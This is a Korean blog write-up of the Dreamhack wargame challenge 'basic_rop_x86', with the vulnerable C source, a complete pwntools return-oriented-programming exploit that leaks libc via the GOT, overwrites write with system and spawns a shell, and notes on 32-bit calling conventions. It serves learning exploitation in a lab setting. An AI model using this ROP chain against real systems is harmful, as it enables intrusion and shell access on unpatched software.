Wargame - 시스템

basic_rop_x86

김가윤 2023. 6. 6. 16:38

 

풀이

이 문제와 동일하지만 32-bit라는 점이 다르다.

https://dreamhack.io/wargame/challenges/29/

 

basic_rop_x64

Description 이 문제는 서버에서 작동하고 있는 서비스(basicropx64)의 바이너리와 소스 코드가 주어집니다. Return Oriented Programming 공격 기법을 통해 셸을 획득한 후, "flag" 파일을 읽으세요. "flag" 파일의

dreamhack.io

 

소스

#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>


void alarm_handler() {
    puts("TIME OUT");
    exit(-1);
}


void initialize() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);

    signal(SIGALRM, alarm_handler);
    alarm(30);
}

int main(int argc, char *argv[]) {
    char buf[0x40] = {};

    initialize();

    read(0, buf, 0x400);
    write(1, buf, sizeof(buf));

    return 0;
}

 

익스플로잇

from pwn import *

#context.log_level = 'debug'
context.arch = 'i386'

#p = process("./basic_rop_x86")
p = remote("host3.dreamhack.games", 20205)
e = ELF("./basic_rop_x86")
libc = ELF('./libc.so.6')

write_plt = e.plt['write']
write_got = e.got['write']
pop_esi_edi_ebp = 0x08048689
read_got = e.got['read']
read_plt = e.plt['read']

bss = e.bss()
pop_ebp = 0x0804868b

# read() function address
payload = b"A"*0x44 + b"B"*0x4
payload += p32(write_plt)
payload += p32(pop_esi_edi_ebp)
payload += p32(1)
payload += p32(read_got)
payload += p32(4)

# /bin/sh string
payload += p32(read_plt)
payload += p32(pop_esi_edi_ebp)
payload += p32(0)
payload += p32(bss)
payload += p32(8)

# overwrite write addr
payload += p32(read_plt)
payload += p32(pop_esi_edi_ebp)
payload += p32(0)
payload += p32(write_got)
payload += p32(4)

# call write function
payload += p32(write_plt)
payload += b"AAAA"
payload += p32(bss)

p.send(payload)
p.recvn(0x40)
read = u32(p.recvn(4))

libc_base = read - libc.symbols['read']
system = libc_base + libc.symbols['system']

print(f'libc_base: {hex(libc_base)}')
print(f'system addr: {hex(system)}')

p.send(b"/bin/sh\x00")
p.send(p32(system))

p.interactive()

 

실행

 

  • 32-bit 리눅스의 gcc 환경에서는 인자 전달 방식을 스택을 이용하고, 스택 정리를 호출한 쪽에서 정리한다.
  • 64-bit 환경에서는 첫 번째부터 여섯 번째까지 인자들을 rdi, rsi, rdx, rcx, r8, r9에 넣은 후 이 이상의 인자들은 스택에 넣어 사용하기 때문에 리턴 가젯의 주소를 먼저 기입하고, 각 레지스터에 넣을 인자들을 순서에 맞게 기입한 뒤 함수의 plt 주소를 적어줬다.
  • 하지만 32-bit 환경에서는 매개변수 -> 함수가 종료하고 실행할 주소 (반환 주소 값) -> 함수의 지역 변수들 순서로 쌓이는 스택의 구조를 갖기 때문에 64-bit 환경에서의 payload 순서와 다르게 함수의 plt를 먼저 적어주고, 반환 주소 값을 적어주는데,  이 반환 주소값을 코드 가젯의 주소를 적어주면 된다.
  • 즉, 함수의 plt -> 코드 가젯 주소 -> 인자 순서로 적주면 함수의 plt가 먼저 적혀있으므로 함수를 호출하게 되는데, 이때 함수의 plt보다 인자들이 먼저 나와야 하지 않나 하는 의문점이 든다면, 이는 함수 내부에 ebc + 8, ebp + c, ebp + 10과 같은 방식으로 스택에 넣어져 있는 인자들을 참조하기 때문에 위의 사진을 참고하여 스택의 구조를 그려보면 이해가 된다.
낮은 주소(0x00000000)  
함수의 시작 부분 write_plt
함수가 종료되고 return 될 주소 코드 가젯 주소
함수에서 사용할 인자들(ebp+8) 인자 1
함수에서 사용할 인자들(ebp + c) 인자 2
함수에서 사용할 인자들(ebp + 10) 인자 3
높은 주소(0xFFFFFFFF)  
  • 32-bit와 64-bit 환경 둘 다 라이브러리의 주소가 0xf7로 시작함을 알고 있어야 한다.
  • 함수와 불러와지는 인자 사이에 4-byte dummy 값이 존재하는데 이는 호출되는 함수가 종료된 후 돌아갈 주소를 의미하며 ret과 같은 역할을 하게 되므로 이 위치에 가젯을 삽입하여 스택을 정리할 수 있다.

 

익스 과정

  • write 함수를 통해 read 함수 got 값 출력
  • read 함수를 통해 bss 영역에 "/bin/sh" 문자열 넣기
  • read 함수를 통해 write 함수 got 주소에 system 함수 실제 주소 넣기
  • write 함수를 다시 호출해 실제로는 system 함수 호출

 

'Wargame - 시스템' 카테고리의 다른 글

basic_rop_x64  (0) 2023.05.24
ssp_001  (0) 2023.05.06
Return to Shellcode  (0) 2023.05.03
basic_exploitation_001  (0) 2023.04.04
basic_exploitation_000  (0) 2023.03.31